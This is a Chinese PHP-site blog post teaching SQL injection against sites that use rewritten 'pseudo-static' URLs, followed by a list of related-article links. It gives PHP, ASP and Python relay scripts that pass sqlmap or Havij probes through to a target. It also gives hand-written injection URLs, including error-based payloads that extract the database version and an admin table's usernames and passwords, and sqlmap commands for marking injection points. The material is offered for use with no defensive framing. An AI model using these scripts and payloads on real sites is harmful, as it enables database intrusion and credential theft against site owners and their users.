PHP针对伪静态的注入总结【附asp与Python相关代码】


Posted in PHP onAugust 01, 2017

本文实例讲述了PHP针对伪静态的注入。分享给大家供大家参考,具体如下:

一:中转注入法

1.通过http://www.xxx.com/news.php?id=1做了伪静态之后就成这样了
http://www.xxx.com/news.php/id/1.html

2.测试步骤:

中转注入的php代码:inject.php

<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>

3.本地环境搭建PHP,然后访问http://127.0.0.1/inject.php?id=1

通过sqlmap或者havj可以跑注入漏洞。

附录ASP中转代码:

<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
'JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
'vstrin=replace(vstrin,"%","%25") '增加转换搜索字符,
'vstrin=Replace(vstrin,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.测试注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出错

3.看页面是否存在差异,相同则不存在,不同存在注入。

4.联合查询:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

注:

伪静态的注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是伪静态不行,会被直接传递到到url中,所以用/**/这个注释符号表示空格。

三、SQLmap方法

在sqlmap中伪静态哪儿存在注入点就加*
http://www.cunlide.com/id1/1/id2/2
python   sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python  sqlmap.py -u  “http://www.xxx.com/news/class/?103*.html”

四、python脚本方法

代码:

from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find('id=')+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
十天学会php之第四天
Oct 09 PHP
解决中英文字符串长度问题函数
Jan 16 PHP
Yii的CDbCriteria查询条件用法实例
Dec 04 PHP
PHP中使用xmlreader读取xml数据示例
Dec 29 PHP
nginx下安装php7+php5
Jul 31 PHP
mysql desc(DESCRIBE)命令实例讲解
Sep 24 PHP
phpstudy默认不支持64位php的解决方法
Feb 20 PHP
PHP无限极分类函数的实现方法详解
Apr 15 PHP
Yii2框架自定义类统一处理url操作示例
May 25 PHP
PHP的new static和new self的区别与使用
Nov 27 PHP
php使用redis的有序集合zset实现延迟队列应用示例
Feb 20 PHP
tp5.1框架数据库子查询操作实例分析
May 26 PHP
Laravel 的数据库迁移的方法
Jul 31 #PHP
PHP实现webshell扫描文件木马的方法
Jul 31 #PHP
PHP/ThinkPHP实现批量打包下载文件的方法示例
Jul 31 #PHP
Thinkphp结合AJAX长轮询实现PC与APP推送详解
Jul 31 #PHP
php实现将二维关联数组转换成字符串的方法详解
Jul 31 #PHP
微信接口生成带参数的二维码
Jul 31 #PHP
PHP判断一个数组是另一个数组子集的方法详解
Jul 31 #PHP
You might like
ob_start(),ob_start('ob_gzhandler')使用
2006/12/25 PHP
php csv操作类代码
2009/12/14 PHP
PHP 开发环境配置(测试开发环境)
2010/04/28 PHP
js对象的构造和继承实现代码
2010/12/05 Javascript
JavaScript中使用构造器创建对象无需new的情况说明
2012/03/01 Javascript
UI Events 用户界面事件
2012/06/27 Javascript
jquery()函数的三种语法介绍
2013/10/09 Javascript
js使用栈来实现10进制转8进制与取除数及余数
2014/06/11 Javascript
Javascript基础教程之函数对象和属性
2015/01/18 Javascript
jquery插件jquery.confirm弹出确认消息
2015/12/22 Javascript
浅谈javascript 函数表达式和函数声明的区别
2016/01/05 Javascript
jQuery验证插件validate使用方法详解
2020/09/13 Javascript
基于JS实现导航条flash导航条
2016/06/17 Javascript
JavaScript 事件对内存和性能的影响
2017/01/22 Javascript
详解在Vue中如何使用axios跨域访问数据
2017/07/07 Javascript
基于模板引擎Jade的应用(详解)
2017/12/12 Javascript
详解vue 计算属性与方法跟侦听器区别(面试考点)
2018/04/23 Javascript
pymssql数据库操作MSSQL2005实例分析
2015/05/25 Python
python中快速进行多个字符替换的方法小结
2016/12/15 Python
老生常谈python函数参数的区别(必看篇)
2017/05/29 Python
详解python OpenCV学习笔记之直方图均衡化
2018/02/08 Python
Python编写一个优美的下载器
2018/04/15 Python
Python实现多级目录压缩与解压文件的方法
2018/09/01 Python
python打包exe开机自动启动的实例(windows)
2019/06/28 Python
python3.8动态人脸识别的实现示例
2020/09/21 Python
欧洲最大的预定车位市场:JustPark
2020/01/06 全球购物
What's the difference between an interface and abstract class? (接口与抽象类有什么区别)
2012/10/29 面试题
EJB的激活机制
2013/10/25 面试题
大专应届生个人的自我评价
2013/11/21 职场文书
法律专业实习鉴定
2013/12/22 职场文书
创建绿色社区汇报材料
2014/08/22 职场文书
农业项目建议书
2014/08/25 职场文书
党员反对四风思想汇报范文
2014/10/25 职场文书
党的群众路线教育实践活动个人对照检查材料(乡镇)
2014/11/05 职场文书
自我检讨报告
2015/01/28 职场文书
go goth封装第三方认证库示例详解
2022/08/14 Golang